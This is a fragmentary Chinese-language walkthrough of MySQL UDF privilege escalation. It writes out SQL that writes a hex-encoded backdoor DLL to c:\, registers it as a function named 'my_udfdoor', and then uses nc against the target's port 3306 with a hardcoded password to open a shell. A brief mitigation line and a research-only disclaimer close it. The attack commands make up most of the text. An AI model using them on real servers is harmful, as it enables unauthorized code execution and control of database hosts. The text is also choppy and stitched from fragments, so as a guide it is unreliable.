my_udf.dll(或 mix.dll,前者穩定性更好)。mysql 數據庫權限的主機。my_udf.dll → 編輯 → 全選 → 複製十六進制值 → 記事本保存。use mysql;
set @a=concat('',0x[十六進制內容]);
create table Mix(data LONGBLOB);
insert into Mix values("");
update Mix set data = @a;
select data from Mix into DUMPFILE 'c:\\my_udf.dll';
CREATE FUNCTION my_udfdoor RETURNS STRING SONAME 'c:\\my_udf.dll';
select my_udfdoor('');
mysql -h <目標IP> -u root -p[密碼]
# 連接成功後
\. c:\mysql.txt
nc -nv <目標IP> 3306,輸入密碼 fuck 獲取 Shell(需多按幾次 Enter)。CREATE FUNCTION ... SONAME 'path' 將自定義 DLL 掛載到 MySQL 進程空間。secure_file_priv 未限制)。secure_file_priv、部署 WAF/IDS 監控異常 UDF 創建。⚠️ 僅供安全研究與防禦參考,嚴禁用於未授權滲透測試。